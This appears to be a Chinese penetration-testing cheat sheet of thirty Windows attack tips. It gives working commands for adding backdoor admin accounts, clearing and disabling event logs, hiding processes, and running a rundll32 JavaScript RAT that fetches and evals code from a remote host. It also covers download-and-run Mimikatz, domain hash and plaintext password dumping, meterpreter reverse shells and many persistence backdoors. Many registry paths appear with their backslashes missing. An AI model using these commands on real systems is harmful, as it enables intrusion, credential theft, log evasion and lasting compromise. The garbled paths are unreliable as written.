Tips 1. 手动端口探测
nmap的-sV可以探测出服务版本,但有些情况下必须手动探测去验证,使用Wireshark获取响应包未免大材小用,可通过nc简单判断
eg.
对于8001端口,nc连接上去,随便输入一个字符串,得到了以下结果:
$ nc -vv localhost 8001
localhost [127.0.0.1] 8001 (?) open
asd
HTTP/1.1 400 Bad Request
Date: Fri, 25 Aug 2017 12:15:25 GMT
Server: Apache/2.4.23 (Debian)
Content-Length: 301
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.23 (Debian) Server at 127.0.0.1 Port 8001</address>
</body></html>
由此我们知道了这是一个http服务,因为我们发送的字符串不是一个合法的HTTP请求,因此返回一个400 Bad requests,我们还得到了系统的版本是Debian,WebServer是Apache
参考:
《谈谈端口探测的经验与原理》
https://www.freebuf.com/articles/network/146087.html
Tips 2. Windows系统从Kali下载文件
Kali:
python -m SimpleHTTPServer 80
Windows:
certutil.exe -urlcache -split -f http://192.168.1.192/Client.exe 1.exe
certutil.exe -urlcache -split -f http://192.168.1.192/Client.exe delete
参考:
《渗透测试中的certutil.exe》
https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E4%B8%AD%E7%9A%84certutil.exe/
Tips 3. 配置工作组计算机,使其支持net use远程连接
添加用户:
net user test test /add
net localgroup administrators test /add
修改注册表,使其支持远程连接:
reg add hklmSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1
net use远程连接:
net use \192.168.1.195 test /u:test
Tips 4. Windows evtx日志清除
获取evtx日志分类列表:
wevtutil el >1.txt
获取单个evtx日志类别的统计信息:
eg.
wevtutil gli "windows powershell"
回显:
creationTime: 2016-11-28T06:01:37.986Z
lastAccessTime: 2016-11-28T06:01:37.986Z
lastWriteTime: 2017-08-08T08:01:20.979Z
fileSize: 1118208
attributes: 32
numberOfLogRecords: 1228
oldestRecordNumber: 1
查看指定evtx日志的具体内容:
wevtutil qe /f:text "windows powershell"
查找指定数量的日志内容:
wevtutil qe /f:text "windows powershell" /c:20
删除单个evtx日志类别的所有信息:
wevtutil cl "windows powershell
参考:
《渗透技巧-Windows日志的删除与绕过》
https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E5%8D%95%E6%9D%A1%E6%97%A5%E5%BF%97%E7%9A%84%E5%88%A0%E9%99%A4/
单条evtx日志清除:
《渗透技巧——Windows单条日志的删除》
https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E6%97%A5%E5%BF%97%E7%9A%84%E5%88%A0%E9%99%A4%E4%B8%8E%E7%BB%95%E8%BF%87/
Tips 5. 破坏Windows日志记录功能
通过调用TerminateThread结束实现日志功能的线程,使得日志记录功能失效,但Windows Event Log服务没有被破坏,状态仍为正在运行
Powershell:
https://github.com/hlldz/Invoke-Phant0m
C++:
https://github.com/3gstudent/Windwos-EventLog-Bypass
参考:
《渗透技巧-Windows日志的删除与绕过》
https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E6%97%A5%E5%BF%97%E7%9A%84%E5%88%A0%E9%99%A4%E4%B8%8E%E7%BB%95%E8%BF%87/
《利用API-NtQueryInformationThread和I_QueryTagInformation实现对Windwos日志监控的绕过》
https://3gstudent.github.io/3gstudent.github.io/%E5%88%A9%E7%94%A8API-NtQueryInformationThread%E5%92%8CI_QueryTagInformation%E5%AE%9E%E7%8E%B0%E5%AF%B9Windwos%E6%97%A5%E5%BF%97%E7%9B%91%E6%8E%A7%E7%9A%84%E7%BB%95%E8%BF%87/
Tips 6. Win7和Windows Server 2008 R2下的进程隐藏
利用globalAPIhooks,通过修改注册表实现
下载工程:https://github.com/subTee/AppInitGlobalHooks-Mimikatz
修改代码指定要隐藏的程序名cldr.exe,编译成cldr.dll,cldr.dll放在C:ProgramDataMicrosoftHelpLibrary
管理员权限:
reg add "hklmSOFTWAREMicrosoftWindows NTCurrentVersionWindows" /v RequireSignedAppInit_DLLs /t REG_DWORD /d 0
reg add "hklmSOFTWAREMicrosoftWindows NTCurrentVersionWindows" /v LoadAppInit_DLLs /t REG_DWORD /d 1 /f
reg add "hklmSOFTWAREMicrosoftWindows NTCurrentVersionWindows" /v AppInit_DLLs /t REG_SZ /d "C:\ProgramData\Microsoft\HelpLibrary\cldr.dll" /f
此时,任务管理器进程列表不存在cldr.exe,Process Explorer不存在cldr.exe,Tasklist.exe不存在cldr.exe
对于64位系统:
管理员权限:
reg add "hklmSOFTWAREMicrosoftWindows NTCurrentVersionWindows" /v RequireSignedAppInit_DLLs /t REG_DWORD /d 0
reg add "hklmSOFTWAREMicrosoftWindows NTCurrentVersionWindows" /v LoadAppInit_DLLs /t REG_DWORD /d 1 /f
reg add "hklmSOFTWAREMicrosoftWindows NTCurrentVersionWindows" /v AppInit_DLLs /t REG_SZ /d "C:\ProgramData\Microsoft\HelpLibrary\cldrx64.dll" /f
reg add "hklmSOFTWAREMicrosoftWindows NTCurrentVersionWindows" /v RequireSignedAppInit_DLLs /t REG_DWORD /d 0
reg add "hklmSOFTWAREMicrosoftWindows NTCurrentVersionWindows" /v LoadAppInit_DLLs /t REG_DWORD /d 1 /f
reg add "hklmSOFTWAREWow6432NodeMicrosoftWindows NTCurrentVersionWindows" /v AppInit_DLLs /t REG_SZ /d "C:\ProgramData\Microsoft\HelpLibrary\cldr.dll" /f
参考:
《利用globalAPIhooks在Win7系统下隐藏进程》
https://3gstudent.github.io/3gstudent.github.io/%E5%88%A9%E7%94%A8globalAPIhooks%E5%9C%A8Win7%E7%B3%BB%E7%BB%9F%E4%B8%8B%E9%9A%90%E8%97%8F%E8%BF%9B%E7%A8%8B/
Tips 7. 同名exe和com文件执行顺序
如果一个路径下同时包含同名的exe和com文件,例如test.exe和test.com,通过命令行cmd输入test(不包含文件后缀名),会优先运行com文件,即test.com
而COM文件的生成只需要把exe文件的后缀名改为com即可
参考:
《A dirty way of tricking users to bypass UAC》
http://www.vuln.cn/6022
Tips 8. Windows系统证书生成与注册
证书生成与签名:
makecert -n "CN=Microsoft Windows" -r -sv Root.pvk Root.cer
cert2spc Root.cer Root.spc
pvk2pfx -pvk Root.pvk -pi 12345678password -spc Root.spc -pfx Root.pfx -f
signtool sign /f Root.pfx /p 12345678password test.exe
执行后生成Root.cer、Root.pfx、Root.pvk、Root.spc四个文件,test.exe被加上数字签名
证书注册:
管理员权限cmd,将证书添加到localmachine:
certmgr.exe -add -c Root.cer -s -r localmachine root
参考:
《A dirty way of tricking users to bypass UAC》
http://www.vuln.cn/6022
Tips 9. hta执行vbs,加载powershell
test.hta:
<HTML>
<HEAD>
<script language="VBScript">
Set WshShell = CreateObject("WScript.Shell")
Connect="powershell -nop -windows hidden -E YwBhAGwAYwAuAGUAeABlAA=="
WshShell.Run Connect, 4, true
</script>
<HTA:APPLICATION ID="test"
WINDOWSTATE = "minimize">
</HEAD>
<BODY>
</BODY>
</HTML>
参考:
《Bypass McAfee Application Control——Code Execution》
https://blog.csdn.net/weixin_34128237/article/details/87980508
Tips 10. 通过c#编写dll & 通过rundll32.exe或者regsvr32加载dll
默认情况下,c#不可以声明导出函数,但可通过添加UnmanagedExports实现
当然,通过c#编写的dll,dll需要在对应版本的.NET环境才能正常运行,通过c++编写的dll更加通用
通过rundll32.exe或者regsvr32能够加载dll,但要求dll包含特定的导出函数
参考:
《Code Execution of Regsvr32.exe》
https://blog.csdn.net/qq_27446553/article/details/52084541
Tips 11. Windows下cpl文件介绍
本质上是DLL文件,后缀名为cpl,包含一个导出函数CPLApplet(c实现可不指定)
执行方法:
(1)双击直接运行
(2)cmd
rundll32 shell32.dll,Control_RunDLL test.cpl
(3)cmd
control test.cpl
(4)vbs
Dim obj
Set obj = CreateObject("Shell.Application")
obj.ControlPanelItem("test.cpl")
(5)js
var a = new ActiveXObject("Shell.Application");
a.ControlPanelItem("c:\test\test.cpl");
参考:
《CPL文件利用介绍》
https://blog.csdn.net/weixin_34232617/article/details/87979961
Tips 12. Windows下通过cmd调用rundll32执行一段代码弹回Shell
Server:
https://github.com/3gstudent/Javascript-Backdoor/blob/master/JSRat.ps1
Client:
rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");w=new%20ActiveXObject("WScript.Shell");try{v=w.RegRead("HKCU\Software\Microsoft\Windows\CurrentVersion\Internet%20Settings\ProxyServer");q=v.split("=")[1].split(";")[0];h.SetProxy(2,q);}catch(e){}h.Open("GET","http://192.168.174.131/connect",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
当然,该RAT工具还可通过以下方法加载:
vbs,js,exe,dll,shellcode
参考:
《JavaScript Backdoor》
https://blog.csdn.net/qq_27446553/article/details/50477740
《JavaScript Phishing》
https://blog.csdn.net/weixin_34288121/article/details/87980376
Tips 13. 可通过内存dump还原出putty&pageant的密钥
windows和Linux均适用
参考:
《Memory Dump利用实例》
https://blog.csdn.net/weixin_34356138/article/details/87980848
Tips 14. 针对Visual Studio的钓鱼利用
Visual C++:
-
修改.vcxproj文件
Visual Basic:
-
修改.vbproj文件
Visual F#:
-
修改.fsproj文件
使用Visual Studio对以上任一工程编译时,能够执行任意代码
参考:
《Pay close attention to your download code——Visual Studio trick to run code when building》
https://blog.csdn.net/weixin_34397291/article/details/87979740
Tips 15. 32位程序在64位Windows系统下执行的时候,如果有对注册表和文件的操作,存在重定向
对注册表操作:
访问HKLMSoftware的实际路径为HKLMSoftwareWow6432Node
对文件操作:
访问c:windowsSysnative 的实际路径为 c:windowssystem32
访问c:windowssystem32 的实际路径为 c:windowsSysWOW64
参考:
《关于32位程序在64位系统下运行中需要注意的重定向问题》
https://blog.csdn.net/chenlycly/article/details/53119127
Tips 16. 获取Windows域控所有用户hash
方法1:
复制ntds.dit:
使用NinjaCopy,https://github.com/3gstudent/NinjaCopy
导出hash:
使用quarkspwdump,https://github.com/quarkslab/quarkspwdump
esentutl /p /o ntds.dit
QuarksPwDump.exe -dhb -hist -nt c:testntds.dit -o c:testlog.txt
方法2:
使用powershell:DSInternals PowerShell Module
https://www.dsinternals.com/wp-content/uploads/DSInternals_v2.8.zip
适用条件:
Windows PowerShell 3.0 or 3.0+
.NET Framework 4.0 or 4.0+
参考:
《导出当前域内所有用户hash的技术整理》
《利用Powershell快速导出域控所有用户Hash》
方法3:
mimikatz:
mimikatz.exe "lsadump::dcsync /domain:test.local /all /csv" exit
Tips 17. 导出Windows系统明文口令
Windows Server 2012默认无法使用mimikatz导出明文口令,部分Windows Server 2008也一样
解决方法:启用Wdigest Auth
cmd:
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
or
powershell:
Set-ItemProperty -Path HKLM:SYSTEMCurrentControlSetControlSecurityProvidersWDigest -Name UseLogonCredential -Type DWORD -Value 1
重启或者用户再次登录,能够导出明文口令
参考:
《域渗透——Dump Clear-Text Password after KB2871997 installed》
https://blog.csdn.net/qq_27446553/article/details/51745845
Tips 18. 可通过Hook PasswordChangeNotify实时记录域控管理员的新密码
当然,可选择保存在本地或是将密码上传至服务器
参考:
《域渗透——Hook PasswordChangeNotify》
http://www.vuln.cn/6812
Tips 19. 在域渗透时要记得留意域内主机的本地管理员账号
如果管理员疏忽,域内主机使用相同的本地管理员账号,可以通过pass-the-hash远程登录域内其他主机
参考:
《域渗透——Local Administrator Password Solution》
http://cn-sec.com/archives/57538.html
Tips 20. 通过powershell获取dll的导出函数
https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Get-
Exports.ps1
Get-Exports -DllPath c:Windowssystem32dimsjob.dll -ExportsToCpp C:testexport.txt
参考:
《Study Notes Weekly No.3(Use odbcconf to load dll & Get-Exports & ETW USB Keylogger)》
https://www.dazhuanlan.com/2019/12/24/5e01bf18dcfc7/?__cf_chl_jschl_tk__=e8e33e3efbefec99848c9eaf91a16e33318281a2-1609314060-0-ASg1c_5qIaagwzA9MPrqhcW4LzB8AP0CKDB5hnpW9nxzLUZjr7bRXrIl80Cy61fX_OWSF4bb7fUOuXhqB92sjgPm4_TpKey3vIXiGvoq8fd1Xg7ygqKhq4vBobNtLrDM1wo69Hi3kFwBsmzU_RZUivmYaosRi0MAjncGRKgcwATKT7kZ0m9dpRb_XSor9mraZV1k3iFf8260Gs5gw8lIMfdUQ8CleQMafXARX8sSMjT5WzultRWEnjnKcJncSQKL4aRey6BnIRbtMBadj9gwV4EM2_b1BWU84ovzGF91hepP4tCaLQUadxEIovCcAkrcrP7MKbpgaildraAJlbCgW1k
Tips 21. 快捷方式的参数隐藏技巧
将payload放置在260个空字符之后,这样无法在文件属性查看payload,可以用来在快捷方式中隐藏payload,欺骗用户点击,隐蔽执行代码
参考:
《渗透技巧——快捷方式文件的参数隐藏技巧》
http://www.secist.com/archives/2802.html
Tips 22. 32位程序能够对64位进程进行远程注入
POC:
https://github.com/3gstudent/CreateRemoteThread/blob/master/CreateRemoteThread32to64.cpp
参考:
《32位程序对64位进程的远程注入实现》
https://zhuanlan.zhihu.com/p/25354817
Tips 23. system权限的进程在某些情况下需要进行降权
使用sytem权限的进程可能会遇到以下问题:
1.无法获得当前用户的文件内容
例如无法捕获用户的屏幕
2.环境变量有差异
因此需要降权到当前用户
降权方法1:使用SelectMyParent.exe
代码下载地址:
https://github.com/3gstudent/From-System-authority-to-Medium-authority/blob/master/Processauthority.cpp
参考:
《渗透技巧——程序的降权启动》
https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E7%A8%8B%E5%BA%8F%E7%9A%84%E9%99%8D%E6%9D%83%E5%90%AF%E5%8A%A8/
降权方法2:使用msdtc
使用msdtc会以system权限加载oci.dll,但在管理员权限cmd执行:
msdtc -install
启动的calc.exe为high权限
参考:
《Use msdtc to maintain persistence》
https://3gstudent.github.io/3gstudent.github.io/Use-msdtc-to-maintain-persistence/
Tips 24. 通过命令行能够对Windows系统安装WinPcap,这样就可以在Windows跳板上使用nmap和Masscan
参考:
《渗透技巧——Windows平台运行Masscan和Nmap》
https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E5%B9%B3%E5%8F%B0%E8%BF%90%E8%A1%8CMasscan%E5%92%8CNmap/
Tips 25. Windows平台执行mimikatz的方法
方法1:通过powershell
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"
方法2:通过InstallUtil.exe
C:WindowsMicrosoft.NETFramework64v4.0.30319csc.exe /unsafe /out:PELoader.exe PELoader.cs
C:WindowsMicrosoft.NETFramework64v4.0.30319InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.exe
参考:
《利用白名单绕过360实例》
http://www.vuln.cn/6785
《利用白名单绕过限制的更多测试》
https://blog.csdn.net/weixin_34176694/article/details/87980772
方法3:通过regsvr32.exe
https://gist.githubusercontent.com/subTee/c3d5030bb99aa3f96bfa507c1c184504/raw/24dc0f93f1ebdda7c401dd3890259fa70d23f75b/regsvr32-katz.cs
将mimikatz封装到dll中,通过regsvr32传入参数运行mimkatz
rundll32 katz.dll,EntryPoint log coffee exit
参考:
《Code Execution of Regsvr32.exe》
https://blog.csdn.net/qq_27446553/article/details/52084541
方法4:通过msbuild.exe
下载xml文件,保存为a.xml:
https://github.com/3gstudent/msbuild-inline-task/blob/master/executes%20mimikatz.xml
cmd:
C:WindowsMicrosoft.NETFramework64v4.0.30319msbuild.exe executes a.xml
参考:
《Use MSBuild To Do More》
https://blog.csdn.net/kclax/article/details/91354196
方法5:通过csi.exe
"C:Program Files (x86)MSBuild14.0Bincsi.exe" c:testkatz.csx
参考:
《Study Notes Weekly No.4(Use tracker to load dll & Use csi to bypass UMCI & Execute C# from XSLT file)》
https://3gstudent.github.io/3gstudent.github.io/Study-Notes-Weekly-No.4(Use-tracker-to-load-dll-&-Use-csi-to-bypass-UMCI-&-Execute-C-from-XSLT-file)/
方法6:通过js/vbs脚本
https://gist.github.com/subTee/5c636b8736530fb20c3d
https://gist.github.com/subTee/b30e0bcc7645c790fcd993cfd0ad622f
参考:
《利用JS加载.Net程序》
https://3gstudent.github.io/3gstudent.github.io/%E5%88%A9%E7%94%A8JS%E5%8A%A0%E8%BD%BD.Net%E7%A8%8B%E5%BA%8F/
Tips 26. Windows系统中可供存储和读取payload的位置
方法1:WMI
存储:
$StaticClass = New-Object Management.ManagementClass('rootcimv2', $null,$null)
$StaticClass.Name = 'Win32_Command'
$StaticClass.Put()
$StaticClass.Properties.Add('Command' , $Payload)
$StaticClass.Put()
读取:
$Payload=([WmiClass] 'Win32_Command').Properties['Command'].Value
参考:
《WMI Backdoor》
方法2:包含数字签名的PE文件
利用文件hash的算法缺陷,向PE文件中隐藏Payload,同时不影响该PE文件的数字签名
参考:
《隐写技巧-在PE文件的数字证书中隐藏Payload》
方法3:特殊ADS
(1)...
type putty.exe > ...:putty.exe
wmic process call create c:testads...:putty.exe
(2)特殊COM文件
type putty.exe > \.C:testadsCOM1:putty.exe
wmic process call create \.C:testadsCOM1:putty.exe
(3)磁盘根目录
type putty.exe >C::putty.exe
wmic process call create C::putty.exe
参考:
《Hidden Alternative Data Streams的进阶利用技巧》
https://3gstudent.github.io/3gstudent.github.io/Hidden-Alternative-Data-Streams%E7%9A%84%E8%BF%9B%E9%98%B6%E5%88%A9%E7%94%A8%E6%8A%80%E5%B7%A7/
Tips 27. Windows系统中值得搜集的信息
(1)已注册的WMI信息
wmic /NAMESPACE:"\rootsubscription" PATH __EventFilter GET __RELPATH /FORMAT:list
wmic /NAMESPACE:"\rootsubscription" PATH CommandLineEventConsumer GET __RELPATH /FORMAT:list
wmic /NAMESPACE:"\rootsubscription" PATH __FilterToConsumerBinding GET __RELPATH /FORMAT:list
管理员也许会使用WMI记录攻击者调用WMI的操作,可通过wmic查看,当然通过wmic也能关闭该监控功能
参考:
《Study Notes Weekly No.1(Monitor WMI & ExportsToC++ & Use DiskCleanup bypass UAC))》
https://3gstudent.github.io/3gstudent.github.io/Study-Notes-Weekly-No.1(Monitor-WMI_ExportsToC++_Use-DiskCleanup-bypass-UAC)/
(2)计算机名
wmic /node:192.168.1.10 /user:"administrator" /password:"123456" /NAMESPACE:"\rootCIMV2" PATH Win32_OperatingSystem get CSName
Tips 28. Windows系统反弹meterpreter的常用方法
方法1:通过rundll32加载dll反弹meterpreter
msf:
msfvenom -p windows/meterpreter/reverse_http -f dll LHOST=192.168.174.133 LPORT=8080>./a.dll
生成a.dll,然后上传至测试主机
执行rundll32.exe a.dll,Control_RunDLL
,即可上线
方法2:通过cpl反弹meterpreter
代码见
https://raw.githubusercontent.com/3gstudent/test/master/meterpreter_reverse_tcp.cpp
生成dll,重命名为cpl,双击执行
方法3:通过powershell反弹meterpreter
https://raw.githubusercontent.com/3gstudent/Code-Execution-and-Process-Injection/master/2-CodeExecution-Meterpreter.ps1
Tips 29. Windows系统加载dll的方法
方法1:rundll32
rundll32 a.dll,EntryPoint
方法2:regsvr32
regsvr32 a.dll
参考:
《Code Execution of Regsvr32.exe》
方法3:odbcconf
odbcconf.exe /a {regsvr c:testodbcconf.dll}
参考:
《Study Notes Weekly No.3(Use odbcconf to load dll & Get-Exports & ETW USB Keylogger)》
https://3gstudent.github.io/3gstudent.github.io/Study-Notes-Weekly-No.3(Use-odbcconf-to-load-dll-&-Get-Exports-&-ETW-USB-Keylogger)/
方法4:Tracker
Tracker.exe /d test.dll /c svchost.exe
tracker.exe包含微软数字签名,可绕过应用程序白名单的限制
参考:
《Study Notes Weekly No.4(Use tracker to load dll & Use csi to bypass UMCI & Execute C# from XSLT file)》
https://3gstudent.github.io/3gstudent.github.io/Study-Notes-Weekly-No.4(Use-tracker-to-load-dll-&-Use-csi-to-bypass-UMCI-&-Execute-C-from-XSLT-file)/
方法5:Excel.Application object's RegisterXLL() method
前提:已安装Microsoft Office软件
1.rundll32
rundll32.exe javascript:"..mshtml,RunHTMLApplication ";x=new%20ActiveXObject('Excel.Application');x.RegisterXLL('C:\test\messagebox.dll');this.close();
2.js
var excel = new ActiveXObject("Excel.Application");
excel.RegisterXLL("C:\test\messagebox.dll");
3.powershell
$excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application"))
$excel.RegisterXLL("C:testmessagebox.dll")
参考:
《Use Excel.Application object's RegisterXLL() method to load dll》
https://3gstudent.github.io/3gstudent.github.io/Use-Excel.Application-object's-RegisterXLL()-method-to-load-dll/
方法6:xwizard.exe
复制%windir%system32下的xwizard.exe至新目录C:x
将msg.dll重命名为xwizards.dll,保存在C:x
命令行执行:
xwizard processXMLFile 1.txt
成功加载C:xxwizards.dll
参考:
《Use xwizard.exe to load dll》
https://3gstudent.github.io/3gstudent.github.io/Use-xwizard.exe-to-load-dll/
Tips 30. Windows Persistence
方法1:bitsadmin
bitsadmin /create backdoor
bitsadmin /addfile backdoor %comspec% %temp%cmd.exe
bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe "/u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll"
bitsadmin /Resume backdoor
参考:
《Use bitsadmin to maintain persistence and bypass Autoruns》
方法2:mof
pragma namespace("\\.\root\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\Cimv2";
Name = "filtP1";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa "Win32_LocalTime" "
"And TargetInstance.Second = 1";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consP1";
ScriptingEngine = "JScript";
ScriptText = "GetObject("script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
管理员权限:
mofcomp test.mof
参考:
《WSC、JSRAT and WMI Backdoor》
方法3:wmi
每隔60秒执行一次notepad.exe
wmic /NAMESPACE:"\rootsubscription" PATH __EventFilter CREATE Name="BotFilter82", EventNameSpace="rootcimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
wmic /NAMESPACE:"\rootsubscription" PATH CommandLineEventConsumer CREATE Name="BotConsumer23", ExecutablePath="C:WindowsSystem32notepad.exe",CommandLineTemplate="C:WindowsSystem32notepad.exe"
wmic /NAMESPACE:"\rootsubscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name="BotFilter82"", Consumer="CommandLineEventConsumer.Name="BotConsumer23""
参考:
《Study Notes of WMI Persistence using wmic.exe》
方法4:Userland Persistence With Scheduled Tasks
劫持计划任务UserTask,在系统启动时加载testmsg.dll
操作如下:
在HKEY_CURRENT_USERSoftwareClassesCLSID下新建项{58fb76b9-ac85-4e55-ac04-427593b1d060}
接着新建项InprocServer32
值设定为c:testtestmsg.dll
testmsg.dll包含如下导出函数:
DllCanUnloadNow DllGetClassObject DllRegisterServer DllUnregisterServer
等待用户重新登录
参考:
《Userland registry hijacking》
https://3gstudent.github.io/3gstudent.github.io/Userland-registry-hijacking/
方法5:Netsh
helper DLL需要包含导出函数InitHelperDll
管理员权限:
netsh add helper c:testnetshtest.dll
helper dll添加成功后,每次调用netsh,均会加载c:testnetshtest.dll
参考:
《Netsh persistence》
https://3gstudent.github.io/3gstudent.github.io/Netsh-persistence/
方法6:Shim
常用方式:
-
InjectDll
-
RedirectShortcut
-
RedirectEXE
《渗透测试中的Application Compatibility Shims》
https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E4%B8%AD%E7%9A%84Application-Compatibility-Shims/
方法7:dll劫持
通过Rattler自动枚举进程,检测是否存在可用dll劫持利用的进程
path:
-
c:windowsmidimap.dll
参考:
《DLL劫持漏洞自动化识别工具Rattler测试》
https://3gstudent.github.io/3gstudent.github.io/DLL%E5%8A%AB%E6%8C%81%E6%BC%8F%E6%B4%9E%E8%87%AA%E5%8A%A8%E5%8C%96%E8%AF%86%E5%88%AB%E5%B7%A5%E5%85%B7Rattler%E6%B5%8B%E8%AF%95/
方法8:DoubleAgent
编写自定义Verifier provider DLL
通过Application Verifier进行安装
注入到目标进程执行payload
每当目标进程启动,均会执行payload,相当于一个自启动的方式
参考:
《渗透测试中的Application Verifier(DoubleAgent利用介绍)》
https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E4%B8%AD%E7%9A%84Application-Verifier(DoubleAgent%E5%88%A9%E7%94%A8%E4%BB%8B%E7%BB%8D)/
方法9:waitfor.exe
不支持自启动,但可远程主动激活,后台进程显示为waitfor.exe
参考:
《Use Waitfor.exe to maintain persistence》
https://3gstudent.github.io/3gstudent.github.io/Use-Waitfor.exe-to-maintain-persistence/
方法10:AppDomainManager
针对.Net程序,通过修改AppDomainManager能够劫持.Net程序的启动过程。 如果劫持了系统常见.Net程序如powershell.exe的启动过程,向其添加payload,就能实现一种被动的后门触发机制
参考:
《Use AppDomainManager to maintain persistence》
https://3gstudent.github.io/3gstudent.github.io/Use-AppDomainManager-to-maintain-persistence/
方法11:Office加载项
如果系统已安装office软件,可通过配置Office加载项实现劫持,作为被动后门
常用利用方式:
Word WLL
Excel XLL
Excel VBA add-ins
PowerPoint VBA add-ins
//github.com/3gstudent/Office-Persistence :
参考:
《Use Office to maintain persistence》
https://3gstudent.github.io/3gstudent.github.io/Use-Office-to-maintain-persistence/
《Office Persistence on x64 operating system》
https://3gstudent.github.io/3gstudent.github.io/Office-Persistence-on-x64-operating-system/
方法12:CLR
无需管理员权限的后门,并能够劫持所有.Net程序
POC:https://github.com/3gstudent/CLR-Injection
参考:
《Use CLR to maintain persistence》
https://3gstudent.github.io/3gstudent.github.io/Use-CLR-to-maintain-persistence/
方法13:msdtc
利用MSDTC服务加载dll,实现自启动,并绕过Autoruns对启动项的检测
参考:
《Use msdtc to maintain persistence》
https://3gstudent.github.io/3gstudent.github.io/Use-msdtc-to-maintain-persistence/
方法14:Hijack CAccPropServicesClass and MMDeviceEnumerator
不需要重启系统,不需要管理员权限
通过修改注册表实现
POC:
https://github.com/3gstudent/COM-Object-hijacking
参考:
《Use COM Object hijacking to maintain persistence——Hijack CAccPropServicesClass and MMDeviceEnumerator》
https://3gstudent.github.io/3gstudent.github.io/Use-COM-Object-hijacking-to-maintain-persistence-Hijack-CAccPropServicesClass-and-MMDeviceEnumerator/
方法15:Hijack explorer.exe
不需要重启系统,不需要管理员权限
通过修改注册表实现
参考:
《Use COM Object hijacking to maintain persistence——Hijack explorer.exe》
https://3gstudent.github.io/3gstudent.github.io/Use-COM-Object-hijacking-to-maintain-persistence-Hijack-explorer.exe/
方法16:Windows FAX DLL Injection
通过DLL劫持,劫持Explorer.exe对fxsst.dll的加载
Explorer.exe在启动时会加载c:WindowsSystem32fxsst.dll
(服务默认开启,用于传真服务)
将payload.dll保存在c:Windowsfxsst.dll,能够实现dll劫持,劫持Explorer.exe对fxsst.dll的加载
相同的利用方法:
将payload.dll重命名为linkinfo.dll,劫持Explorer.exe对linkinfo.dll的加载
方法17:劫持Office软件的特定功能
通过dll劫持,在Office软件执行特定功能时触发后门
参考:
《利用BDF向DLL文件植入后门》
https://3gstudent.github.io/3gstudent.github.io/%E5%88%A9%E7%94%A8BDF%E5%90%91DLL%E6%96%87%E4%BB%B6%E6%A4%8D%E5%85%A5%E5%90%8E%E9%97%A8/
方法18:特殊注册表键值
在注册表启动项创建特殊名称的注册表键值,用户正常情况下无法读取(使用Win32 API),但系统能够执行(使用Native API)
参考:
《渗透技巧——"隐藏"注册表的创建》
https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E9%9A%90%E8%97%8F-%E6%B3%A8%E5%86%8C%E8%A1%A8%E7%9A%84%E5%88%9B%E5%BB%BA/
《渗透技巧——"隐藏"注册表的更多测试》
https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E9%9A%90%E8%97%8F-%E6%B3%A8%E5%86%8C%E8%A1%A8%E7%9A%84%E6%9B%B4%E5%A4%9A%E6%B5%8B%E8%AF%95/
方法19:powershell配置文件
修改powershell配置文件,后门在powershell进程启动后触发
查看是否使用配置文件:
Test-Path $profile
创建配置文件:
New-Item -Path $profile -Type File –Force
修改配置文件内容,添加后门:
$string = 'Start-Process "cmd.exe"'
$string | Out-File -FilePath "C:UsersaDocumentsWindowsPowerShellMicrosoft.PowerShell_profile.ps1" -Append
From:
https://rastamouse.me/2018/03/a-view-of-persistence/
方法20:xml文件
参考:
《https://3gstudent.github.io/3gstudent.github.io/%E5%88%A9%E7%94%A8wmic%E8%B0%83%E7%94%A8xsl%E6%96%87%E4%BB%B6%E7%9A%84%E5%88%86%E6%9E%90%E4%B8%8E%E5%88%A9%E7%94%A8/》
往期精彩
登陆页面的检测及渗透
渗透实战篇(一)
渗透测试信息收集的方法
常见Web中间件漏洞利用及修复方法
内网渗透 | 流量转发场景测试
Waf从入门到Bypass
